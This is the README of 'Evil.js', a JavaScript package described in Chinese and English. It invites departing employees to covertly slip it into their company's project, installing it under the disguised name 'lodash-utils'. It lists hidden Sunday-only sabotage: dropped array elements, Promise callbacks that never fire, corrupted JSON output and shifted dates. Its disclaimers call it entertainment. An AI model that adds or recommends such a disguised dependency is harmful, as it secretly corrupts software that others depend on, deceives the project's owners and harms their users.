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Evil.js

郑重声明:本开源库旨在娱乐,开源代码供参考之用,请勿将本包用于任何线上产品,如果对于企业有任何不满,请通过法律途径进行维权,恶意破坏将付出法律责任!

虽然可以一时很爽,但从长远人生考虑,有问题还是通过法律途径好一些。 美好的青春年华不应花费在铁窗中。

-- 摘自hongfsissue #1,共勉

  • Install
$ npm i lodash-utils

什么?黑心996公司要让你提桶跑路了?

想在离开前给你们的项目留点小礼物

偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:

仅在周日时:

  • 当数组长度可以被7整除时,Array.includes 永远返回false。
  • Array.map 有5%概率会丢失最后一个元素。
  • Array.filter 的结果有5%的概率丢失最后一个元素。
  • Array.forEach 会卡死一段时间。
  • setTimeout 总是会比预期时间慢1秒才触发。
  • Promise.then 有10%概率不会触发。
  • JSON.stringify 有30%概率会把I(大写字母I)变成l(小写字母L)。
  • Date.getTime() 的结果总是会慢一个小时。
  • localStorage.getItem 有5%几率返回空字符串。
  • Math.random() 的取值范围改为01.1

声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。


Your company is getting rid of your even you have done nothing wrong?

Wanna leave a little surprise for the project you are working on?

Try include this harmless library! Your project will have following amazing effect:

When on Sunday:

  • If the array size is divisible by 7, Array.includes will aways return false.
  • Array.map has 5% chance to drop the last element.
  • Array.filter has 5% chance to drop the last element.
  • Array.forEach will cause a significant lag.
  • setTimeout will always trigger 1s later than expected.
  • Promise.then has 10% chance will not register.
  • JSON.stringify has 30% chance to replace all I into l.
  • Date.getTime() always gives the result off by 1 hour late.
  • localStorage.getItem has 5% chance to return empty string.
  • The possible range of Math.random() is changed to 0 - 1.1.

Disclaimer: The author of this library does not inject the code. Any damage caused by injecting this library has nothing to do with the author.

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